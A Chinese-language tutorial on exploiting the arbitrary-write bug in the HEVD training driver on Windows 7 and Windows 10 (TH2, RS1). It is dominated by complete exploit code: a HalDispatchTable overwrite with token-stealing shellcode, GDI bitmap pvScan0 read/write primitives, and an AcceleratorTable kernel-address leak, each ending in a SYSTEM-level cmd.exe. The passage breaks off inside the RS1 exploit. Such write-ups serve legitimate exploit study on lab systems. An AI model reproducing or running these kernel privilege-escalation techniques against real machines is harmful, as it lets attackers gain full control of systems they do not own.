0x0:注意点&&环境
~多图预警~
环境
我使用的环境
物理机OS:windows 10
虚拟机OS:win7_x86&&win10_x64_1511( TH2 )&&win10_x64_1607( RS1 )&&win10_x64_1703( RS2 )&&win10_x64_1709( RS3 )
VMware:VMware Workstation 15 Pro
编译器:vs2019
驱动: HEVD 1.2
驱动加载工具:VirtualKD-Redux-2021.2
调试器:Microsoft Store上直接下的windbg preview版
要注意的地方&&一些知识点
要注意的地方就一点,就是把虚拟机的网络给ban掉,不然它会把你的exploit给删掉,还会出现很奇怪的错误,不利于学习.
0x01:漏洞点
漏洞点其实很简单,就是指针滥用.上图~~~
然后效果的话,大概是这样
0x02:win7_x86下的WWW(Write-What-Where)
其实这个相当于番外,不影响后面的观看体验.
这里我们依旧采取的是替换Token的方式.如果你不知道怎么替换Token,推荐阅读我的上一篇文章HEVD驱动栈溢出&&WIN10 SMEP 绕过
我们有WWW漏洞了,那么我们该怎么替换Token呢?
其实我们这里用到了 NtQueryIntervalProfile 函数和 HalQuerySystemInformation 函数.上图
不过我这里是直接将 HalDispatchTable+0x4 地址改成 shellcode的地址.(emmm不知道这么回事我这里没法看NtQueryIntervalProfile 函数和 HalQuerySystemInformation 函数的反汇编).大概是这么一行关键代码
call dword ptr [nt!HalDispatchTable+0x4 (83f2c3fc)]
exp也挺简单的,找到 HalDispatchTable+0x4 的地址后用漏洞改成shellcode的地址就可以了.代码:
#include<Windows.h>
#include<stdio.h>
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
#define IO_COMPLETION_OBJECT 1
#define STATUS_SUCCESS 0x00000000
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
HANDLE open_device(const char* device_name)
{
HANDLE device = CreateFileA(device_name,
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
return device;
}
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 11,
SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI* NtQuerySystemInformation_t)(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
PVOID Unknown1;
PVOID Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
#define p printf;
NtQuerySystemInformation_t NtQuerySystemInformation;
PVOID GetHalDispatchTable() {
PVOID HalDispatchTable = 0;
SIZE_T ReturnLength;
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
HMODULE hNtDll = LoadLibrary(L"ntdll.dll");
if (!hNtDll) {
printf("\t\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError());
}
NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtDll, "NtQuerySystemInformation");
if (!NtQuerySystemInformation) {
printf("\t\t\t[-] Failed Resolving NtQuerySystemInformation: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &ReturnLength);
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
ReturnLength);
if (!pSystemModuleInformation) {
printf("\t\t\t[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
NtStatus = NtQuerySystemInformation(SystemModuleInformation,
pSystemModuleInformation,
ReturnLength,
&ReturnLength);
if (NtStatus != STATUS_SUCCESS) {
printf("\t\t\t[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
PVOID KernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base;
PCHAR KernelImage = strrchr((PCHAR)(pSystemModuleInformation->Module[0].ImageName), '\\') + 1;
printf("\t\t\t[+] Loaded Kernel: %s\n", KernelImage);
printf("\t\t\t[+] Kernel Base Address: 0x%p\n", KernelBaseAddressInKernelMode);
HMODULE hKernelInUserMode = LoadLibraryA(KernelImage);
if (!hKernelInUserMode) {
p("\t\t\t[-] Failed To Load Kernel: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
HalDispatchTable = (PVOID)GetProcAddress(hKernelInUserMode, "HalDispatchTable");
if (!HalDispatchTable) {
p("\t\t\t[-] Failed Resolving HalDispatchTable: 0x%X\n", GetLastError());
}
else {
HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)hKernelInUserMode);
HalDispatchTable = (PVOID)((ULONG)HalDispatchTable + (ULONG)KernelBaseAddressInKernelMode);
("\t\t\t[+] HalDispatchTable: 0x%p\n", HalDispatchTable);
};
HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation);
if (hNtDll) {
FreeLibrary(hNtDll);
}
if (hKernelInUserMode) {
FreeLibrary(hKernelInUserMode);
}
hNtDll = NULL;
hKernelInUserMode = NULL;
pSystemModuleInformation = NULL;
return HalDispatchTable;
}
typedef struct _WRITE_WHAT_WHERE {
PULONG What;
PULONG Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
VOID TokenStealingPayloadWin7Generic() {
// No Need of Kernel Recovery as we are not corrupting anything
__asm {
pushad; Save registers state
; Start of Token Stealing Stub
xor eax, eax; Set ZERO
mov eax, fs: [eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS : [0x124]
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad; Restore registers state
}
}
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource,
OUT PULONG Interval);
int main()
{
ULONG Interval = 0;
PVOID EopPayload = &TokenStealingPayloadWin7Generic;
ULONG BytesReturned = NULL;
HANDLE hFile = open_device(kDevName);
PVOID HalDispatchTable = GetHalDispatchTable();
PVOID HalDispatchTablePlus4 = (PVOID)((ULONG)HalDispatchTable + sizeof(PVOID));
PWRITE_WHAT_WHERE WriteWhatWhere = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
sizeof(WRITE_WHAT_WHERE));
WriteWhatWhere->What = (PULONG)&EopPayload;
WriteWhatWhere->Where = (PULONG)HalDispatchTablePlus4;
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
(LPVOID)WriteWhatWhere,
sizeof(WriteWhatWhere),
NULL,
0,
&BytesReturned,
NULL);
//__debugbreak();
HMODULE hNtDll = LoadLibrary(L"ntdll.dll");
NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hNtDll, "NtQueryIntervalProfile");
NtQueryIntervalProfile(0x666, &Interval);
HeapFree(GetProcessHeap(), 0, (LPVOID)WriteWhatWhere);
WriteWhatWhere = NULL;
CreateCmd();
system("pause");
}
值得一提的是 NtQueryIntervalProfile 这个函数的第一个参数不能是0和1,详细可以参考<0day安全>和这.
可以看到最后是成功了的.
0x03:TH2(WIN10_X64_1511)下的WWW
TH2下的WWW利用主要用到了一个叫做 bitmap 的对象.而bitmap内核对象中有个叫做 pvScan0 的指针,指向结构中的一块数据区域.
再加上 SetBitmapBits 函数和 GetBitmapBits 函数能对 pvScan0 进行读写,所以如果我们能改掉 pvScan0 指针,使其中一个bitmap对象的pvScan0指针指向另一个bitmap对象的pvScan0指针,就能进行任意地址读写.如图
这里创建了两个bitmap对象,其中一个叫hManager,另一个叫hWorker(当然叫其他的也可以),我们用WWW漏洞把hWorker的pvScan0指针覆盖掉,这样当我们对hManager用SetBitmapBits函数进行任意写时,改的就是hWorker的pvScan0指针.当我们对hWorker用GetBitmapBits/SetBitmapBits函数进行读/写时,读写的内容就是hManager传递过来的指针的值.
那么问题来了,GetBitmapBits/SetBitmapBits函数怎么使用呢?
其中SetBitmapBits函数长这样:
LONG SetBitmapBits(
HBITMAP hbm,
DWORD cb,
const VOID *pvBits
);
GetBitmapBits类似
其中第一个参数是句柄,使用CreateBitmap函数创建bitmap对象就能得到.像这样:
HBITMAP hManager = CreateBitmap(0x64, 0x64, 1, 32, NULL);
第二个参数是第三个参数指向的字节数,可以理解为要读写的数据长度.
第三个参数就是pvScan0指针.怎么得到呢?
直接上代码.参考
DWORD64 getpvScan0Address(HBITMAP handle) {
printf(" handle value: 0x%p\n", (DWORD64)handle);
DWORD64 tebAddr = (DWORD64)NtCurrentTeb();
printf(" tebAddr: 0x%p\n", tebAddr);
DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);
printf(" pebAddr: 0x%p\n", pebAddr);
DWORD64 GdiSharedHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);
printf(" GdiSharedHandleTableAddr: 0x%p\n", GdiSharedHandleTableAddr);
// GdiSharedHandleTableAddr 是一个指向GDICELL结构体数组的指针
// GDICELL 结构体 x86 0x10,x64 0x18
DWORD64 pKernelAddress = GdiSharedHandleTableAddr + ((DWORD64)handle & 0xffff) * 0x18;
printf(" pKernelAddress: 0x%p\n", pKernelAddress);
DWORD64 surfaceObject = *(PDWORD64)pKernelAddress;
printf(" surfaceObject address: 0x%p\n", surfaceObject);
// BASEOBJECT 结构体 x86 0x10,x64 0x18
// pvScan0 在 SURFOBJ 结构体中的偏移 x86 0x20,x64 0x38
DWORD64 pvScan0Address = surfaceObject + 0x18 + 0x38;
printf(" pvScan0 address: 0x%p\n", pvScan0Address);
return pvScan0Address;
}
然后就是替换Token了,原理是一样的,不过由汇编语言变成了C语言.
我的exploit:
#include<stdio.h>
#include<Windows.h>
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemModuleInformation = 11,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG NumberOfModules;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
DWORD64 getpvScan0Address(HBITMAP handle) {
printf(" handle value: 0x%p\n", (DWORD64)handle);
DWORD64 tebAddr = (DWORD64)NtCurrentTeb();
printf(" tebAddr: 0x%p\n", tebAddr);
DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);
printf(" pebAddr: 0x%p\n", pebAddr);
DWORD64 GdiSharedHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);
printf(" GdiSharedHandleTableAddr: 0x%p\n", GdiSharedHandleTableAddr);
// GdiSharedHandleTableAddr 是一个指向GDICELL结构体数组的指针
// GDICELL 结构体 x86 0x10,x64 0x18
DWORD64 pKernelAddress = GdiSharedHandleTableAddr + ((DWORD64)handle & 0xffff) * 0x18;
printf(" pKernelAddress: 0x%p\n", pKernelAddress);
DWORD64 surfaceObject = *(PDWORD64)pKernelAddress;
printf(" surfaceObject address: 0x%p\n", surfaceObject);
// BASEOBJECT 结构体 x86 0x10,x64 0x18
// pvScan0 在 SURFOBJ 结构体中的偏移 x86 0x20,x64 0x38
DWORD64 pvScan0Address = surfaceObject + 0x18 + 0x38;
printf(" pvScan0 address: 0x%p\n", pvScan0Address);
return pvScan0Address;
}
VOID readOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 whereWrite, LPVOID whatWrite, int len)
{
SetBitmapBits(hManager, len, &whereWrite); // set 写的是 hWorker 的 pvScan0 的值
// 通过控制 hWorker 的 pvScan0 的值来决定对哪块地址进行读写
GetBitmapBits(hWorker, len, whatWrite);
}
VOID writeOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 whereWrite, LPVOID whatWrite, int len)
{
SetBitmapBits(hManager, len, &whereWrite);
SetBitmapBits(hWorker, len, &whatWrite);
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
int main() {
HBITMAP hManager = CreateBitmap(0x64, 0x64, 1, 32, NULL);
HBITMAP hWorker = CreateBitmap(0x64, 0x64, 1, 32, NULL);
LPVOID lpSystemEPROCESS = NULL;
DWORD len = 0;
PSYSTEM_MODULE_INFORMATION moduleInfo = NULL;
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
moduleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
typedef struct _payload {
PULONG what;
PULONG where;
} Payload, * PPayload;
DWORD64 ManagerpvScan0Address = getpvScan0Address(hManager);
//printf("manger pvscan0 address is %p\n", ManagerpvScan0Address);
DWORD64 WorkerpvScan0Address = getpvScan0Address(hWorker);
//printf("worker pvscan0 address is %p\n", WorkerpvScan0Address);
PPayload payload = (PPayload)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
sizeof(Payload));
payload->what = (PULONG)&WorkerpvScan0Address;
payload->where = (PULONG)ManagerpvScan0Address;
DWORD BytesReturned = 0;
HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, NULL, 0x3, 0, NULL);
DeviceIoControl(hDevice, 0x0022200B, (LPVOID)payload, sizeof(Payload), NULL, 0, &BytesReturned, NULL);
//__debugbreak();
NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, &len);
LPCSTR lpkernelName = (LPCSTR)(moduleInfo->Module[0].FullPathName + moduleInfo->Module[0].OffsetToFileName);
//printf("aaaaaa\n");
printf("[+]kernel name is: %s\n", lpkernelName);
LPVOID kernelBase = moduleInfo->Module[0].ImageBase;
HMODULE hUserSpacekernel = LoadLibraryExA(lpkernelName, 0, 0);
FARPROC pUserKernelSymbol = GetProcAddress(hUserSpacekernel, "PsInitialSystemProcess");
LPVOID lpSysProcID = NULL;
LPVOID lpSystemToken = NULL;
LIST_ENTRY lpNextEntryAddreess;
FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpacekernel + (PUCHAR)kernelBase);
printf("addr ======%p\n", pLiveFunctionAddress);
readOOB(hManager, hWorker, (DWORD64)pLiveFunctionAddress, &lpSystemEPROCESS, sizeof(LPVOID));
readOOB(hManager, hWorker, (DWORD64)((PUCHAR)lpSystemEPROCESS + 0x2e8), &lpSysProcID, sizeof(LPVOID));
readOOB(hManager, hWorker, (DWORD64)((PUCHAR)lpSystemEPROCESS + 0x358), &lpSystemToken, sizeof(LPVOID));
readOOB(hManager, hWorker, (DWORD64)((PUCHAR)lpSystemEPROCESS + 0x2f0), &lpNextEntryAddreess, sizeof(LIST_ENTRY));
printf("[+]system process address is: 0x%p\n", lpSystemEPROCESS);
printf("[+]Next Process AT: 0x%p\n", lpNextEntryAddreess.Flink);
printf("[+]system process token value is: 0x%p\n", lpSystemToken);
printf("[+]system process PID is: 0x%p\n", lpSysProcID);
DWORD64 currentProcessID = GetCurrentProcessId();
printf("currentProcessID ---->0x%x\n", currentProcessID);
LPVOID lpNextEPROCESS = NULL;
LPVOID lpCurrentPID = NULL;
LPVOID lpCurrentToken = NULL;
DWORD dwCurrentPID;
do
{
lpNextEPROCESS = (PUCHAR)lpNextEntryAddreess.Flink - 0x2f0;
readOOB(hManager, hWorker, (DWORD64)((PUCHAR)lpNextEPROCESS + 0x2e8), &lpCurrentPID, sizeof(LPVOID));
dwCurrentPID = LOWORD(lpCurrentPID);
printf("dwCurrentPID ---->0x%x\n", dwCurrentPID);
readOOB(hManager, hWorker, (DWORD64)((PUCHAR)lpNextEPROCESS + 0x2f0), &lpNextEntryAddreess, sizeof(LIST_ENTRY));
} while (dwCurrentPID != currentProcessID);
DWORD64 currentTokenAddress = (DWORD64)lpNextEPROCESS + 0x358;
printf("[+]Start to write token");
writeOOB(hManager, hWorker, currentTokenAddress, lpSystemToken, sizeof(LPVOID));
printf(" => done!\n");
CreateCmd();
system("pause");
return 0;
}
可以看到最后是成功了的.
总结一下这次漏洞利用的过程:
1.创建两个bitmap对象
2.找到两个bitmap对象的pvScan0地址
3.用漏洞改掉bitmap对象中pvScan0的值
4.替换Token
0x04:RS1(win10_x64_1607)下的WWW
接下来我们来到RS1下的WWW.
我们直接拿着TH2下的exp运行,发现直接蓝屏了.
嗯?怎么回事?查阅资料后,你会发现这个:
哦,原来”Leaking kernel addresses by reading user32!gSharedInfo structure”被kill掉了.
那么图中提到的 user32!gSharedInfo 是什么呢?我觉得可以对应上TH2下的这段代码
DWORD64 getpvScan0Address(HBITMAP handle) {
......
}
然后调试发现确实不能用了
那怎么办呢?记住一句话,攻与防从来都是相对的.
先上图
看第二段,我们可以通过 AcceleratorTables 间接泄露.对应到这段代码:
PUSER_HANDLE_ENTRY leakAddr = NULL;
PSHAREDINFO gSharedInfo = (PSHAREDINFO)GetProcAddress(GetModuleHandle("user32.dll"), "gSharedInfo");
PUSER_HANDLE_ENTRY handleTable = gSharedInfo->aheList;
int nSize = 698;
LPACCEL lPaccel = NULL;
// LPTR 意为 LMEM_FIXED | LMEM_ZEROINIT,即分配固定内存并初始化为 0
lPaccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * nSize);
HACCEL hAccel_1 = NULL;
hAccel_1 = CreateAcceleratorTable(lPaccel, nSize);
leakAddr = &handleTable[LOWORD(hAccel_1)];
DWORD64 hManagerAddr = (DWORD64)(leakAddr->pKernel);
//printf("Manager bitmap addr: 0x%p\n", hManagerAddr);
DestroyAcceleratorTable(hAccel_1);
HBITMAP hManagerbitmap = CreateBitmap(0x710, 0x2, 0x1, 0x8, NULL);
HACCEL hAccel_2 = NULL;
hAccel_2 = CreateAcceleratorTable(lPaccel, nSize);
leakAddr = &handleTable[LOWORD(hAccel_2)];
DWORD64 hWorkerAddr = (DWORD64)(leakAddr->pKernel);
//printf("Worker bitmap addr: 0x%p\n", hWorkerAddr);
DestroyAcceleratorTable(hAccel_2);
需要注意的是这里要定义很多结构体.
泄露了地址之后,其他的就跟TH2下的利用一样了.代码贴贴:
#include <windows.h>
#include<stdio.h>
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemModuleInformation = 11,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(
IN ULONG ProfileSource,
OUT PULONG Interval
);
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG NumberOfModules;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef struct _SERVERINFO {
DWORD dwSRVIFlags;
DWORD cHandleEntries;
WORD wSRVIFlags;
WORD wRIPPID;
WORD wRIPError;
} SERVERINFO, * PSERVERINFO;
typedef struct _USER_HANDLE_ENTRY {
void* pKernel;
union
{
PVOID pi;
PVOID pti;
PVOID ppi;
};
BYTE type;
BYTE flags;
WORD generation;
} USER_HANDLE_ENTRY, * PUSER_HANDLE_ENTRY;
typedef struct _SHAREDINFO {
PSERVERINFO psi;
PUSER_HANDLE_ENTRY aheList;
ULONG HeEntrySize;
ULONG_PTR pDispInfo;
ULONG_PTR ulSharedDelts;
ULONG_PTR awmControl;
ULONG_PTR DefWindowMsgs;
ULONG_PTR DefWindowSpecMsgs;
} SHAREDINFO, * PSHAREDINFO;
typedef struct _payload {
PULONG_PTR what;
PULONG_PTR where;
} Payload, * PPayload;
VOID readOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 whereWrite, LPVOID whatWrite, int len)
{
SetBitmapBits(hManager, len, &whereWrite); // set 写的是 hWorker 的 pvScan0 的值
// 通过控制 hWorker 的 pvScan0 的值来决定对哪块地址进行读写
GetBitmapBits(hWorker, len, whatWrite);
}
VOID writeOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 whereWrite, LPVOID whatWrite, int len)
{
SetBitmapBits(hManager, len, &whereWrite);
SetBitmapBits(hWorker, len, &whatWrite);
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
int main()
{
PUSER_HANDLE_ENTRY leakAddr = NULL;
PSHAREDINFO gSharedInfo = (PSHAREDINFO)GetProcAddress(GetModuleHandle("user32.dll"), "gSharedInfo");
PUSER_HANDLE_ENTRY handleTable = gSharedInfo->aheList;
int nSize = 698;
LPACCEL lPaccel = NULL;
// LPTR 意为 LMEM_FIXED | LMEM_ZEROINIT,即分配固定内存并初始化为 0
lPaccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * nSize);
HACCEL hAccel_1 = NULL;
hAccel_1 = CreateAcceleratorTable(lPaccel, nSize);
leakAddr = &handleTable[LOWORD(hAccel_1)];
DWORD64 hManagerAddr = (DWORD64)(leakAddr->pKernel);
//printf("Manager bitmap addr: 0x%p\n", hManagerAddr);
DestroyAcceleratorTable(hAccel_1);
HBITMAP hManagerbitmap = CreateBitmap(0x710, 0x2, 0x1, 0x8, NULL);
HACCEL hAccel_2 = NULL;
hAccel_2 = CreateAcceleratorTable(lPaccel, nSize);
leakAddr = &handleTable[LOWORD(hAccel_2)];
DWORD64 hWorkerAddr = (DWORD64)(leakAddr->pKernel);
//printf("Worker bitmap addr: 0x%p\n", hWorkerAddr);
DestroyAcceleratorTable(hAccel_2);
HBITMAP hWorkerbitmap = CreateBitmap(0x710, 0x2, 0x1, 0x8, NULL);
// ------我是分割线------
// 到这里我们已经获得 bitmap 的地址了,接下来就跟 RS1 之前一样利用 bitmap 就好了
DWORD64 ManagerpvScan0Address = hManagerAddr + 0x18 + 0x38;
printf("Manager pvScan0 Addr: 0x%p\n", ManagerpvScan0Address);
DWORD64 WorkerpvScan0Address = hWorkerAddr + 0x18 + 0x38;
printf("Worker pvScan0 Addr: 0x%p\n", WorkerpvScan0Address);
PPayload payload = NULL;
// malloc
payload = (PPayload)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
sizeof(Payload));
payload->what = (PULONG_PTR)&WorkerpvScan0Address;
payload->where = (PULONG_PTR)ManagerpvScan0Address;
printf("payload---->what %llX\n", payload->what);
printf("payload->where %llX\n", payload->where);
DWORD BytesReturned = 0;
HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, NULL, 0x3, 0, NULL);
DeviceIoControl(hDevice, 0x0022200B, (LPVOID)payload, sizeof(Payload), NULL, 0, &BytesReturned, NULL);
// 已经 overwrite 了,接下来就是利用 SetBitmapBits 和 GetBitmapBits 来读写
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
PSYSTEM_MODULE_INFORMATION moduleInfo = NULL;
DWORD len = 0;
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
moduleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
DWORD64 systemEprocessAddr = 0;
LPVOID lpSystemToken = NULL; // 获取 system 进程的 token
NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, &len);
LPCSTR lpkernelName = (LPCSTR)(moduleInfo->Module[0].FullPathName + moduleInfo->Module[0].OffsetToFileName);
//printf("aaaaaa\n");
printf("[+]kernel name is: %s\n", lpkernelName);
LPVOID kernelBase = moduleInfo->Module[0].ImageBase;
HMODULE hUserSpacekernel = LoadLibraryExA(lpkernelName, 0, 0);
FARPROC pUserKernelSymbol = GetProcAddress(hUserSpacekernel, "PsInitialSystemProcess");
FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpacekernel + (PUCHAR)kernelBase);
printf("pLiveFunctionAddress ======%p\n", pLiveFunctionAddress);
readOOB(hManagerbitmap, hWorkerbitmap, (DWORD64)pLiveFunctionAddress, &systemEprocessAddr, sizeof(DWORD64));
readOOB(hManagerbitmap, hWorkerbitmap, (systemEprocessAddr + 0x358), &lpSystemToken, sizeof(DWORD64));
printf("system eprocess addr: 0x%p\n", systemEprocessAddr);
// _eprocess + 0x0f8 是 token 0x358
// _eprocess + 0x0B8 是 ActiveProcessLinks.Flink 0x2f0
// _eprocess + 0x0b4 是 processid 0x2e8
// 获取当前进程的 _eprocess
DWORD64 lpNextEPROCESS = 0;
LPVOID lpCurrentPID = NULL;
DWORD64 dwCurrentPID;
LIST_ENTRY lpNextEntryAddreess = { 0 };
DWORD64 currentProcessID = GetCurrentProcessId(); // 通过PID判断是否获取到当前进程的地址
readOOB(hManagerbitmap, hWorkerbitmap, systemEprocessAddr + 0x2f0, &lpNextEntryAddreess, sizeof(LIST_ENTRY));
do // 根据PID是否找到当前进程
{
// 获取下一个进程
